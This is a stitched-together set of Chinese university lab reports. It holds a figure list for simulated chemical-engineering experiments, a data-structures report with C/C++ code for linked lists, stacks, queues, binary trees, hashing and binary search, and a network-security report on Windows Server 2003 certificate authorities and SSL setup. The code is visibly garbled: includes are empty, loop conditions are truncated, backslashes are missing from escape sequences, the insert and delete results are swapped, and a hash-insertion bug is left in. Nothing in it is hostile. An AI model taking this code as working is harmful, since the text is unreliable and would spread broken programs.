實(shí)驗(yàn)一 離心泵性能的測(cè)試
實(shí)驗(yàn)二 管道阻力實(shí)驗(yàn)
實(shí)驗(yàn)三 傳熱實(shí)驗(yàn)
實(shí)驗(yàn)四 吸收實(shí)驗(yàn)
實(shí)驗(yàn)五 流體流動(dòng)形態(tài)的觀測(cè)
實(shí)驗(yàn)六 柏努利方程實(shí)驗(yàn)
實(shí)驗(yàn)七 干燥實(shí)驗(yàn)
實(shí)驗(yàn)八 精餾實(shí)驗(yàn)
以下是實(shí)驗(yàn)?zāi)M觀測(cè)過(guò)程和計(jì)算機(jī)生成的實(shí)驗(yàn)報(bào)告。
圖1 離心泵性能的測(cè)試 觀察氣蝕現(xiàn)象(1)
圖2 離心泵性能的測(cè)試 觀察氣蝕現(xiàn)象(2)
圖3 離心泵性能的測(cè)試 離心泵特性曲線測(cè)定實(shí)驗(yàn)報(bào)告(1)
圖4 離心泵性能的測(cè)試 離心泵特性曲線測(cè)定實(shí)驗(yàn)報(bào)告(2)
圖5 離心泵性能的測(cè)試 離心泵特性曲線測(cè)定實(shí)驗(yàn)報(bào)告(3)
圖6 離心泵性能的測(cè)試 離心泵特性曲線測(cè)定實(shí)驗(yàn)報(bào)告(4)
圖7 管道阻力的測(cè)定實(shí)驗(yàn)報(bào)告(1)
圖8 管道阻力的測(cè)定實(shí)驗(yàn)報(bào)告(2)
圖9 管道阻力的測(cè)定實(shí)驗(yàn)報(bào)告(3)
圖10 傳熱實(shí)驗(yàn)
圖11 傳熱實(shí)驗(yàn)報(bào)告(1)
圖12 傳熱實(shí)驗(yàn)報(bào)告(2)
圖13 傳熱實(shí)驗(yàn)報(bào)告(3)
圖14 傳熱實(shí)驗(yàn)報(bào)告(4)
圖15 吸收實(shí)驗(yàn) 觀察液泛現(xiàn)象
圖16 吸收實(shí)驗(yàn)報(bào)告
圖17 液體流動(dòng)形態(tài)的觀測(cè) 觀察滯留形態(tài)
圖18 液體流動(dòng)形態(tài)的觀測(cè)實(shí)驗(yàn)報(bào)告
圖19 柏努利方程實(shí)驗(yàn) 觀察測(cè)壓孔與水流方向方位角與水位變化(1)
圖20 柏努利方程實(shí)驗(yàn) 觀察測(cè)壓孔與水流方向方位角與水位變化(2)
圖21 干燥實(shí)驗(yàn)報(bào)告(1)
圖22 干燥實(shí)驗(yàn)報(bào)告(2)
圖23 干燥實(shí)驗(yàn)報(bào)告(3)
圖24 干燥實(shí)驗(yàn)報(bào)告(4)
圖25 精餾實(shí)驗(yàn) 動(dòng)態(tài)平衡調(diào)整
圖26 精餾實(shí)驗(yàn)報(bào)告(1)
圖27 精餾實(shí)驗(yàn)報(bào)告(2)
第三篇:中南大學(xué) 數(shù)據(jù)結(jié)構(gòu)實(shí)驗(yàn)報(bào)告
數(shù)據(jù)結(jié)構(gòu)實(shí)驗(yàn)報(bào)告
專業(yè)班級(jí): 指導(dǎo)老師:余臘生 姓
名: 學(xué)
號(hào): 實(shí)驗(yàn)一 單鏈表的基本操作的實(shí)現(xiàn)
一、實(shí)驗(yàn)?zāi)康?/p>
掌握單鏈表的基本操作:建立、插入、刪除、查找等運(yùn)算。
二、實(shí)驗(yàn)儀器
安裝VC++的PC機(jī)。
三、實(shí)驗(yàn)原理
利用線性表的特性以及其鏈?zhǔn)酱鎯?chǔ)結(jié)構(gòu)特點(diǎn)對(duì)線性表進(jìn)行相關(guān)操作。
四、實(shí)驗(yàn)內(nèi)容
程序中演示了單鏈表的創(chuàng)建、插入、刪除和查找。程序如下:
#include
scanf(“%d”,&x);while(x!=-1){ p=(NODE *)malloc(sizeof(NODE));p->data=x;p->next=head->next;head->next=p;scanf(“%d”,&x);} return(head);} /******************************************/ void Output(NODE *head){ NODE *p;p=head;printf(“Begin to dump the LinkList...n”);while(p->next!=NULL){ printf(“->%d”,p->next->data);p=p->next;} printf(“nThe LinkList ended!n”);} /******************************************/ int Listlen(NODE *head){ int i=0;NODE *p=head;while(p->next!=NULL){ i++;p=p->next;} return(i);} /******************************************/ int Get(NODE *head,int i){ int j=0;NODE *p=head;while(p->next&&jnext;} if(!p->next||j>i)return(0);else return(p->data);} /******************************************/ void Del(NODE *head,int i){ NODE *p=head;int j=0;while(p->next&&j
五、數(shù)據(jù)記錄及處理
1、運(yùn)行程序,輸入下面一組數(shù)據(jù): 93 94 12 13 20 14 鏈表順序:14 20 13 12 94 93
2、刪除第二個(gè)數(shù)據(jù)結(jié)點(diǎn),在第一個(gè)位置插入數(shù)據(jù)20。
運(yùn)行結(jié)果如下: 插入結(jié)果:14 13 12 94 93 刪除結(jié)果:20 14 13 12 94 93 運(yùn)行結(jié)果截圖:
實(shí)驗(yàn)二 棧和隊(duì)列的實(shí)現(xiàn)
一、目的和要求
1.理解隊(duì)列和棧的順序存儲(chǔ)結(jié)構(gòu)和鏈?zhǔn)酱鎯?chǔ)結(jié)構(gòu)。通過(guò)本實(shí)驗(yàn),熟悉隊(duì)列、棧的結(jié)構(gòu)特點(diǎn); 2.熟悉隊(duì)列、棧結(jié)構(gòu)上的操作與算法的實(shí)現(xiàn)。
二、實(shí)驗(yàn)內(nèi)容
1.隊(duì)列的基本操作和應(yīng)用。2.棧的基本操作和應(yīng)用。
三、儀器、設(shè)備和材料
1.適合實(shí)驗(yàn)要求的計(jì)算機(jī)系統(tǒng)。2.VC++編程平臺(tái)。
四、實(shí)驗(yàn)原理
隊(duì)列與棧是一種操作受限制的線性表,在了解線性表的基本原理的基礎(chǔ)上,理解與完成此項(xiàng)實(shí)驗(yàn)。
五、實(shí)驗(yàn)步驟
1.采用隊(duì)列的順序存儲(chǔ)結(jié)構(gòu)。
2.用菜單的形式完成隊(duì)列的建立,出隊(duì),入隊(duì)等基本操作。3.采用棧的鏈?zhǔn)酱鎯?chǔ)結(jié)構(gòu)。
4.用菜單的形式完成棧的出棧、入棧等基本操作。
六、程序算法
#include
SElemType *top;}SqStack;
SqStack InitStacka()//順序存儲(chǔ)實(shí)現(xiàn)棧的初始化 {SqStack S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.top=S.base;return(S);}
void Pusha(SqStack &S,int x)//順序存儲(chǔ)實(shí)現(xiàn)棧的入棧操作 {if(S.top-S.base>=MAX)exit(OVERFLOW);*S.top++=x;}
void Popa(SqStack &S)//順序存儲(chǔ)實(shí)現(xiàn)棧的出棧操作 {SElemType *p;int x;if(S.top==S.base)return;else {p=S.top;x=*--S.top;printf(“t刪除的棧頂元素是%dnt出棧操作完成后的棧為:n”,x);} } void printa(SqStack S)//輸出 {SElemType *p;p=S.base;printf(“t”);while(p!=S.top){printf(“%d ”,*(p++));} printf(“n”);}
typedef struct SqNode {SElemType data;SqNode *Link;}*Sqptr,NODE;typedef struct {Sqptr top;}Stack;
Stack InitStackb()//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的初始化 {Stack S;S.top=(Sqptr)malloc(sizeof(NODE));if(!S.top)exit(OVERFLOW);S.top->Link=NULL;return(S);}
void Pushb(Stack &S,int x)//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的入棧操作 {Sqptr p;p=(Sqptr)malloc(sizeof(NODE));if(!p)return;p->data=x;p->Link=S.top->Link;S.top->Link=p;}
void Popb(Stack &S)//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的出棧操作 {int x;Sqptr p;if(S.top->Link==NULL)return;else {p=S.top->Link;
x=p->data;
S.top->Link=p->Link;
printf(“t刪除的棧頂元素是%dn”,x);
free(p);} }
typedef struct QNode {QElemType data;struct QNode *next;}*QueuePtr,QNode;typedef struct {QueuePtr front;QueuePtr rear;}LinkQueue;LinkQueue InitQueue()//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)列的初始化 {LinkQueue Q;Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode));if(!Q.front)exit(OVERFLOW);Q.front->next=NULL;
return(Q);} void EnQueue(LinkQueue &Q,QElemType x)//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)列的入隊(duì) {QueuePtr p;p=(QueuePtr)malloc(sizeof(QNode));if(!p)exit(OVERFLOW);p->data=x;p->next=NULL;Q.rear->next=p;Q.rear=p;} void DeQueue(LinkQueue &Q)//鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)列的出隊(duì) {int x;if(Q.front==Q.rear)return;QueuePtr p;p=Q.front->next;x=p->data;printf(“t刪除的隊(duì)頭元素是:%dn”,x);Q.front->next=p->next;if(Q.rear==p)Q.rear=Q.front;free(p);return;}
typedef struct {SElemType *base;int front,rear;}SqQueue;SqQueue InitQueueb()//順序存儲(chǔ)實(shí)現(xiàn)隊(duì)列的初始化 {SqQueue S;S.base=(SElemType *)malloc(MAX*sizeof(SElemType));if(!S.base)exit(OVERFLOW);S.front=S.rear=0;return(S);} void EnQueueb(SqQueue &S,int x)
//順序存儲(chǔ)實(shí)現(xiàn)隊(duì)列的入隊(duì) {if((S.rear+1)%MAX==S.front)return;S.base[S.rear]=x;S.rear=(S.rear+1)%MAX;} void DeQueueb(SqQueue &S)//順序存儲(chǔ)實(shí)現(xiàn)隊(duì)列的出隊(duì) {int x;if(S.front==S.rear)return;x=S.base[S.front];S.front=(S.front+1)%MAX;printf(“t刪除的隊(duì)頭元素是:%dn”,x);} void main(){int choice;int n,x;printf(“nn”);printf(“t1.采用鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的初始化、入棧、出棧操作n”);printf(“t2.采用順序存儲(chǔ)實(shí)現(xiàn)棧的初始化、入棧、出棧操作n”);printf(“t3.采用鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)列的初始化、入隊(duì)、出隊(duì)操作n”);printf(“t4.采用順序存儲(chǔ)實(shí)現(xiàn)隊(duì)列的初始化、入隊(duì)、出隊(duì)操作n”);printf(“t請(qǐng)選擇:”);scanf(“%d”,&choice);switch(choice){case 1:Stack Sa;
printf(“t1.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的初始化n”);
printf(“t2.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的入棧操作n”);
printf(“t3.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的出棧操作n”);
while(1){
printf(“t請(qǐng)選擇:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sa=InitStackb();
printf(“t鏈?zhǔn)酱鎯?chǔ)棧的初始化完成!n”);break;
case 2:printf(“t以'0'結(jié)束n”);printf(“t”);
scanf(“%d”,&x);
while(x){
Pushb(Sa,x);scanf(“%d”,&x);}
printf(“t鏈?zhǔn)酱鎯?chǔ)棧的入棧操作完成!n”);break;
case 3:Popb(Sa);break;}}break;
case 2:SqStack S;
printf(“t1.順序存儲(chǔ)實(shí)現(xiàn)棧的初始化n”);
printf(“t2.順序存儲(chǔ)實(shí)現(xiàn)棧的入棧操作n”);
printf(“t3.順序存儲(chǔ)實(shí)現(xiàn)棧的出棧操作n”);
while(1){
printf(“t請(qǐng)選擇:”);
scanf(“%d”,&n);
switch(n)
{ case 1:S=InitStacka();
printf(“t順序存儲(chǔ)棧的初始化完成!n”);break;
case 2:printf(“t以'0'結(jié)束n”);
printf(“t”);
scanf(“%d”,&x);
while(x){
Pusha(S,x);
scanf(“%d”,&x);}
printf(“t順序存儲(chǔ)棧的入棧操作完成!n”);
printa(S);break;
case 3:Popa(S);
printa(S);break;}}break;
case 3:LinkQueue Q;
printf(“t1.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)的初始化n”);
printf(“t2.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)的入棧操作n”);
printf(“t3.鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)的出棧操作n”);
while(1){
printf(“t請(qǐng)選擇:”);
scanf(“%d”,&n);
switch(n)
{
case 1:Q=InitQueue();
printf(“t鏈?zhǔn)酱鎯?chǔ)隊(duì)的初始化完成!n”);break;
case 2:printf(“t以'0'結(jié)束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueue(Q,x);scanf(“%d”,&x);}
printf(“t鏈?zhǔn)酱鎯?chǔ)隊(duì)的入棧操作完成!n”);break;
case 3:DeQueue(Q);break;}}break;
case 4:SqQueue Sv;
printf(“t1.順序存儲(chǔ)實(shí)現(xiàn)隊(duì)的初始化n”);
printf(“t2.順序存儲(chǔ)實(shí)現(xiàn)隊(duì)的入棧操作n”);
printf(“t3.順序存儲(chǔ)實(shí)現(xiàn)隊(duì)的出棧操作n”);
while(1){
printf(“t請(qǐng)選擇:”);
scanf(“%d”,&n);
switch(n)
{case 1:Sv=InitQueueb();
printf(“t鏈?zhǔn)酱鎯?chǔ)棧的初始化完成!n”);break;
case 2:printf(“t以'0'結(jié)束n”);printf(“t”);scanf(“%d”,&x);
while(x){
EnQueueb(Sv,x);scanf(“%d”,&x);}
printf(“t鏈?zhǔn)酱鎯?chǔ)棧的入棧操作完成!n”);break;
case 3: DeQueueb(Sv);break;}}break;} } 程序調(diào)試截圖:
1.采用鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)棧的初始化、入棧、出棧操作
2.采用順序存儲(chǔ)實(shí)現(xiàn)棧的初始化、入棧、出棧操作
3.采用鏈?zhǔn)酱鎯?chǔ)實(shí)現(xiàn)隊(duì)列的初始化、入隊(duì)、出隊(duì)操作
4.采用順序存儲(chǔ)實(shí)現(xiàn)隊(duì)列的初始化、入隊(duì)、出隊(duì)操作
七、心得體會(huì)
實(shí)踐才能出真知,在通過(guò)了上機(jī)操作后,才發(fā)現(xiàn)了許多在平時(shí)上理論課的時(shí)候沒(méi)有想到的方方面面,編寫(xiě)程序時(shí)發(fā)現(xiàn)很多語(yǔ)法的錯(cuò)誤,以及很多英語(yǔ)單詞的記不熟,記錯(cuò),程序函數(shù)錯(cuò)用等等,我想需要在以后多多練習(xí),才能逐步解決這些問(wèn)題。實(shí)驗(yàn)三 二叉樹(shù)的建立和遍歷
一、目的和要求
1、了解二叉樹(shù)的建立的方法及其遍歷的順序,熟悉二叉樹(shù)的三種遍歷
2、檢驗(yàn)輸入的數(shù)據(jù)是否可以構(gòu)成一顆二叉樹(shù)
二、實(shí)驗(yàn)內(nèi)容
1.二叉樹(shù)的建立和遍歷
三、儀器、設(shè)備和材料
1.適合實(shí)驗(yàn)要求的計(jì)算機(jī)系統(tǒng)。2.VC++編程平臺(tái)。
四、實(shí)驗(yàn)的描述和算法
1、實(shí)驗(yàn)描述
二叉樹(shù)的建立首先要建立一個(gè)二叉鏈表的結(jié)構(gòu)體,包含根節(jié)點(diǎn)和左右子樹(shù)。因?yàn)槎斓拿恳粋€(gè)左右子樹(shù)又是一顆二叉樹(shù),所以可以用遞歸的方法來(lái)建立其左右子樹(shù)。二叉樹(shù)的遍歷是一種把二叉樹(shù)的每一個(gè)節(jié)點(diǎn)訪問(wèn)完并輸出的過(guò)程,遍歷時(shí)根結(jié)點(diǎn)與左右孩子的輸出順序構(gòu)成了不同的遍歷方法,這個(gè)過(guò)程需要按照不同的遍歷的方法,先輸出根結(jié)點(diǎn)還是先輸出左右孩子,可以用選擇語(yǔ)句實(shí)現(xiàn)。
2、算法
#include
//二叉樹(shù)結(jié)點(diǎn)類定義 { T data;
//數(shù)據(jù)域
BinTreeNode
//左子女、右子女域
BinTreeNode(T x=T(),BinTreeNode
:data(x),leftChild(l),rightChild(r){}
//可選擇參數(shù)的默認(rèn)構(gòu)造函數(shù) };//-----------template
//非遞歸前序遍歷 { stack
while(p!=NULL)
{
cout<
data;
//訪問(wèn)根結(jié)點(diǎn)
S.push(p);
p=p->leftChild;
//遍歷指針進(jìn)到左子女結(jié)點(diǎn)
}
if(!S.empty())
//棧不空時(shí)退棧
{
p=S.top();
S.pop();
p = p->rightChild;
//遍歷指針進(jìn)到右子女結(jié)點(diǎn)
} } } //--template
//非遞歸中序遍歷 { stack
while(p!=NULL)
//遍歷指針未到最左下的結(jié)點(diǎn),不空
{
S.push(p);
p=p->leftChild;
}
if(!S.empty())
//棧不空時(shí)退棧
{
p=S.top();
S.pop();
cout<
data;
p=p->rightChild;
} } while(p!=NULL ||!S.empty());}
//----template
while(p!= NULL ||!S.empty())
//左子樹(shù)經(jīng)過(guò)結(jié)點(diǎn)加L進(jìn)棧
{
while(p!=NULL)
{
S.push(p);//首先將t和tag為入棧,遍歷左子樹(shù)
tag.push(0);//遍歷左子樹(shù)前的現(xiàn)場(chǎng)保護(hù)
p=p->leftChild;
}
while(!S.empty()&& tag.top()==1)
{
p=S.top();
S.pop();
tag.pop();
cout<
data;//最后訪問(wèn)根結(jié)點(diǎn)。
}
if(!S.empty())
{
tag.pop();
tag.push(1);//遍歷右子樹(shù)前的現(xiàn)場(chǎng)保護(hù),修改棧頂tag為,遍歷右子樹(shù)
p=S.top();
// 取棧頂保存的指針
p=p->rightChild;
}
else
break;
} } template
if(subTree!=NULL)
//NULL是遞歸終止條件
{
InOrder_1(subTree->leftChild);//中序遍歷根的左子樹(shù)
cout<
//訪問(wèn)根結(jié)點(diǎn)
InOrder_1(subTree->rightChild);//中序遍歷根的右子樹(shù)
} } template
//遞歸結(jié)束條件
{
cout<
PreOrder_1(subTree->leftChild);
//前序遍歷根的左子樹(shù)
PreOrder_1(subTree->rightChild);
//前序遍歷根的右子樹(shù)
} } template
if(subTree!=NULL)
//NULL是遞歸終止條件
{
PostOrder_1(subTree->leftChild);//后序遍歷根的左子樹(shù)
PostOrder_1(subTree->rightChild);//后序遍歷根的右子樹(shù)
cout<
//訪問(wèn)根結(jié)點(diǎn)
} } //------------template
T item;
cin>>item;
if(item!=-1)
{
subTree = new BinTreeNode
if(subTree == NULL)
{
cerr<<“存儲(chǔ)分配錯(cuò)!”< exit(1); } subTree->data = item; CreateBinTree(subTree->leftChild);//遞歸建立左子樹(shù) CreateBinTree(subTree->rightChild);//遞歸建立右子樹(shù) } else subTree = NULL; //封閉指向空子樹(shù)的指針 } int main(){ BinTreeNode cout<<“先序遍歷二叉樹(shù)結(jié)果:”; PreOrder_1(Tree); cout< cout<<“后序遍歷二叉樹(shù)結(jié)果:”; PostOrder_1(Tree);cout< cout<<“非遞歸中序遍歷二叉樹(shù)結(jié)果:”;InOrder_2(Tree);cout< 3、實(shí)驗(yàn)程序運(yùn)行截圖 實(shí)驗(yàn)四 散列法查找和排序 一、目的和要求 1.用散列法實(shí)現(xiàn)順序查找,折半查找。 二、儀器、設(shè)備和材料 1.適合實(shí)驗(yàn)要求的計(jì)算機(jī)系統(tǒng)。2.VC++編程平臺(tái)。 三、實(shí)驗(yàn)步驟 和程序 1、順序查找 #include #define NULLKEY 0 typedef int KeyType; /* 假設(shè)關(guān)鍵字為整型 */ typedef struct { KeyType key;}RecordType;typedef RecordType HashTable[m];int hash(KeyType k)/*除留余數(shù)法構(gòu)造哈希函數(shù)*/ { int h;h = k%m;return h;} int HashSearch(HashTable ht, KeyType K)/*哈希查找*/ { int h0;int i;int hi;h0=hash(K);if(ht[h0].key==NULLKEY) return(-1);else if(ht[h0].key==K) return(h0); else /* 用線性探測(cè)再散列解決沖突 */ { for(i=1;i<=m-1;i++) { hi=(h0+i)% m; if(ht[hi].key==NULLKEY) return(-1); else if(ht[hi].key==K) return(hi); } return(-1); } } void main(){ int i,j;int n;int p;int hj;int k;int result;HashTable ht;for(i=0;i ht[i].key = NULLKEY;printf(“請(qǐng)輸入哈希表的元素個(gè)數(shù):”);scanf(“%d”,&n);for(i=1;i<=n;i++){ printf(“請(qǐng)輸入第%d個(gè)元素:”,i); fflush(stdin); scanf(“%d”,&p); j = hash(p); if(ht[j].key == NULLKEY) ht[j].key = p; else { for(i=1;i<=m-1;i++) { hj=(j+i)% m; if(ht[hj].key==NULLKEY) { ht[j].key = p; } i = m; } } } } printf(“請(qǐng)輸入要查找的元素:”);fflush(stdin);scanf(“%d”,&k);result = HashSearch(ht,k);if(result ==-1)printf(“未找到!n”);else printf(“元素位置為%dn”,result);system(“pause”);運(yùn)行結(jié)果如下: 2、折半查找 #include printf(“你輸入的數(shù)不正確,請(qǐng)重新輸入:n”); printf(“你想在多少個(gè)數(shù)中進(jìn)行折半查找,請(qǐng)輸入(1--20):”); scanf(“%d”,&n);} printf(“請(qǐng)你輸入一個(gè)整數(shù)a[1]:”);scanf(“%d”,&a[1]);i=2;while(i<=n){ printf(“請(qǐng)你輸入一個(gè)整數(shù)a[%d]:”,i); scanf(“%d”,&a[i]); i++;} printf(“n輸出表列n”);for(i=1;i<=n;i++){ printf(“%6d”,a[i]);} printf(“n”);printf(“請(qǐng)你輸入要查找的數(shù):”);scanf(“%d”,&num);flag=1;top=n;bottom=1;mid=(top+bottom)/2;while(flag){ printf(“top=%d,bottom=%d,mid=%d,a[i]=%dn”,top,bottom,mid,mid,a[mid]);if((num>a[top])||(num loc=-1; flag=0;} else if(a[mid]==num){ loc=mid; printf(“找到數(shù) %6d的位置%2dn”,num,loc); break;} else if(a[mid]>num){ top=mid-1; mid=(top+bottom)/2;} else if(a[mid] bottom=mid+1; mid=(top+bottom)/2;} } if(loc==-1){ printf(“%d這個(gè)數(shù)在表列中沒(méi)有找到。n”,num);} } 運(yùn)行結(jié)果如下: CENTRAL SOUTH UNIVERSITY 網(wǎng) 絡(luò) 安 全 實(shí) 驗(yàn) 報(bào) 告 學(xué)生姓名 專業(yè)班級(jí) 學(xué) 號(hào) 學(xué) 院 信息科學(xué)與工程學(xué)院 指導(dǎo)教師 劉嬪 實(shí)驗(yàn)時(shí)間 2014年12月 實(shí)驗(yàn)一 CA證書(shū)與SSL連接 應(yīng)用場(chǎng)景 在訪問(wèn)Web 站點(diǎn)時(shí),如果沒(méi)有較強(qiáng)的安全措施,用戶訪問(wèn)的數(shù)據(jù)是可以使用網(wǎng)絡(luò)工具 捕獲并分析出來(lái)的。在Web 站點(diǎn)的身份驗(yàn)證中,有一種基本身份驗(yàn)證,要求用戶訪問(wèn)輸入 用戶名和密碼時(shí),是以明文形式發(fā)送密碼的,蓄意破壞安全性的人可以使用協(xié)議分析程序破 譯出用戶名和密碼。那我們?cè)撊绻苊饽??可利用SSL 通信協(xié)議,在Web 服務(wù)器上啟用安 全通道以實(shí)現(xiàn)高安全性。 SSL 協(xié)議位于TCP/IP 協(xié)議與各種應(yīng)用層協(xié)議之間,為數(shù)據(jù)通訊提供安全支持。SSL 協(xié) 議可分為兩層: SSL 記錄協(xié)議(SSL Record Protocol):它建立在可靠的傳輸協(xié)議(如TCP)之上,為高層協(xié)議提供數(shù)據(jù)封裝、壓縮、加密等基本功能的支持。SSL 握手協(xié)議(SSL Handshake Protocol):它建立在SSL 記錄協(xié)議之上,用于在實(shí)際的數(shù)據(jù)傳輸開(kāi)始前,通訊雙 方進(jìn)行身份認(rèn)證、協(xié)商加密算法、交換加密密鑰等。每一個(gè)Windows Server 2003 證書(shū)頒發(fā) 機(jī)構(gòu)都有可供用戶和管理員使用的網(wǎng)頁(yè)。 實(shí)驗(yàn)?zāi)繕?biāo) ??掌握在Windows Server 2003 下獨(dú)立根CA 的安裝和使用。??使用WEB 方式申請(qǐng)證書(shū)和安裝證書(shū)。??建立SSL 網(wǎng)站。 ??分析SSL 網(wǎng)站的數(shù)據(jù)包特點(diǎn)。 實(shí)驗(yàn)拓?fù)?/p> VM Client VM Server 實(shí)驗(yàn)環(huán)境 虛擬機(jī):Windows Server 2003,Windows XP,Wireshark 抓包軟件。 實(shí)驗(yàn)過(guò)程指導(dǎo) 任務(wù)一:windows server 2003 環(huán)境下獨(dú)立根CA 的安裝及使用 1、啟動(dòng)Windows Server 2003 和Windows XP,配置其IP,使其在同一局域網(wǎng)網(wǎng)段。 2、在Windows Server 2003 中,選擇【開(kāi)始】|【控制面板】|【添加和刪除程序】,在彈出窗 口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書(shū)服務(wù)】,再單擊【下 一步】按鈕,如下圖所示。 3、在彈出的窗口中選擇【獨(dú)立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按 要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。 4、繼續(xù)選擇【證書(shū)數(shù)據(jù)庫(kù)】、【數(shù)據(jù)庫(kù)日志】和配置信息的安裝、存放路徑,如下圖所示。 單擊【下一步】按鈕。安裝的時(shí)候,可能會(huì)彈出如下窗口,為了實(shí)驗(yàn)方便,已經(jīng)把I386 文 件夾復(fù)制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點(diǎn)【確定】,完成安裝。 5、選擇【開(kāi)始】|【程序】|【管理工具】,可以找到【證書(shū)頒發(fā)機(jī)構(gòu)】,說(shuō)明CA 的安裝已經(jīng) 完成,如下圖所示。 6、從同一局域網(wǎng)中的另外一臺(tái)XP 開(kāi)啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/, 選中【申請(qǐng)一個(gè)證書(shū)】,如下圖所示,在彈出的頁(yè)面中選擇【web 瀏覽器證書(shū)】。 7、在彈出窗口中填寫(xiě)用戶的身份信息,完成后進(jìn)行【提交】。此種情況下,IE 瀏覽器采用 默認(rèn)的加密算法生成公鑰對(duì),私鑰保存在本地計(jì)算機(jī)中,公鑰和用戶身份信息按照標(biāo)準(zhǔn)的格式發(fā)給CA 服務(wù)器,如圖所示,單擊【是】,進(jìn)入下一步。CA 服務(wù)器響應(yīng)后,彈出證書(shū)申請(qǐng) 成功頁(yè)面,如下圖所示。 8、在根CA 所在的計(jì)算機(jī)上,選擇【開(kāi)始】|【程序】|【管理工具】|【證書(shū)頒發(fā)機(jī)構(gòu)】,上 面申請(qǐng)的證書(shū)便會(huì)出現(xiàn)在窗口右邊,選擇證書(shū)單擊右鍵,選擇【所有任務(wù)】|【頒發(fā)】,進(jìn)行 證書(shū)頒發(fā),如下圖所示。證書(shū)頒發(fā)后將從【掛起的申請(qǐng)】文件夾轉(zhuǎn)入【頒發(fā)的證書(shū)】文件夾 中,表示證書(shū)頒發(fā)完成。 9、在申請(qǐng)證書(shū)的計(jì)算機(jī)上打開(kāi)IE,輸入http://windows2003 的IP/certsrv/,進(jìn)入證書(shū)申請(qǐng)頁(yè) 面,選擇【查看掛起的證書(shū)申請(qǐng)狀態(tài)】,彈出的頁(yè)面中選擇一個(gè)已經(jīng)提交的證書(shū)申請(qǐng),如下 圖所示。選擇安裝此證書(shū)。 10、現(xiàn)在驗(yàn)證此CA 系統(tǒng)頒發(fā)的新證書(shū)是否可信,為此需要安裝CA 系統(tǒng)的根證書(shū),進(jìn)入證書(shū)申請(qǐng)主頁(yè)面,選擇當(dāng)前的CA 證書(shū)進(jìn)行下載,并保存到合適路徑,如下圖所示。 11、下載完畢之后,在證書(shū)的保存目錄中查看證書(shū)信息,單擊【安裝證書(shū)】按鈕,進(jìn)入證書(shū) 導(dǎo)入向?qū)?,按照默認(rèn)的配置完成證書(shū)的導(dǎo)入,導(dǎo)入成功后,單擊【確定】按鈕,之后完成。 任務(wù)二:基于Web 的SSL 連接設(shè)置 1、在XP 中,左下角【開(kāi)始】,打開(kāi)【W(wǎng)ireshark】,并點(diǎn)擊開(kāi)始抓包的按鈕。打開(kāi)IE 瀏覽器,輸入網(wǎng)址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包結(jié)果1。 2、選擇【開(kāi)始】|【程序】|【管理工具】|【IIS(Internet 信息服務(wù))管理器】,在彈出窗口 右鍵單擊【默認(rèn)網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項(xiàng),如下圖所示。 3、在彈出窗口內(nèi)選擇【目錄安全性】標(biāo)簽,單擊【安全通信】中的【服務(wù)器證書(shū)】按鈕,如下圖所示。 4、彈出【IIS 證書(shū)向?qū)А看翱?,選中【新建證書(shū)】復(fù)選項(xiàng),一直單擊【下一步】按鈕,輸入自定義的名稱,如下圖所示。填寫(xiě)相應(yīng)的信息后,單擊【下一步】按鈕。 5、彈出【請(qǐng)求文件摘要】窗口,確認(rèn)后單擊【下一步】按鈕,接著單擊【完成】按鈕,完 成服務(wù)器端證書(shū)配置,如下圖所示。 6、打開(kāi)IE 瀏覽器(windows2003 中的),進(jìn)入證書(shū)申請(qǐng)主界面,如下圖所示。 7、在出現(xiàn)的網(wǎng)頁(yè)中選擇【高級(jí)證書(shū)申請(qǐng)】,如圖所示,在出現(xiàn)的網(wǎng)頁(yè)中單擊第二個(gè)選項(xiàng)【base64 編碼】。打開(kāi)剛才IIS 證書(shū)向?qū)傻恼?qǐng)求文件,(默認(rèn)路徑C:certreq.txt),復(fù)制并粘貼文件 內(nèi)容到第一個(gè)文本框,如下圖所示,單擊【提交】按鈕,轉(zhuǎn)到完成提交后的頁(yè)面。 8、回到首頁(yè),選擇【查看掛起的證書(shū)申請(qǐng)狀態(tài)】,彈出的頁(yè)面中選擇一個(gè)已經(jīng)提交的證書(shū)申 請(qǐng),如下圖所示。選擇【Base 64 編碼】,點(diǎn)擊【下載證書(shū)】,【保存】certnew.cer 文件到桌面。 9、選擇【開(kāi)始】|【程序】|【管理工具】|【IIS(Internet 信息服務(wù))管理器】,在彈出窗口 右鍵單擊【默認(rèn)網(wǎng)站】,彈出的快捷菜單中選擇【屬性】選項(xiàng),在彈出窗口內(nèi)選擇【目錄安 全性】標(biāo)簽,選擇【服務(wù)器證書(shū)】,選擇【下一步】,【處理掛起的請(qǐng)求并安裝證書(shū)】選擇【下 一步】,【瀏覽】選擇剛才保存的certnew.cer 文件,如下圖所示?!鞠乱徊健俊鞠乱徊健俊就瓿伞?。 10、還是在【目錄安全性】下,選擇【安全通信】下的【編輯】,在下如圖所示的彈出窗口 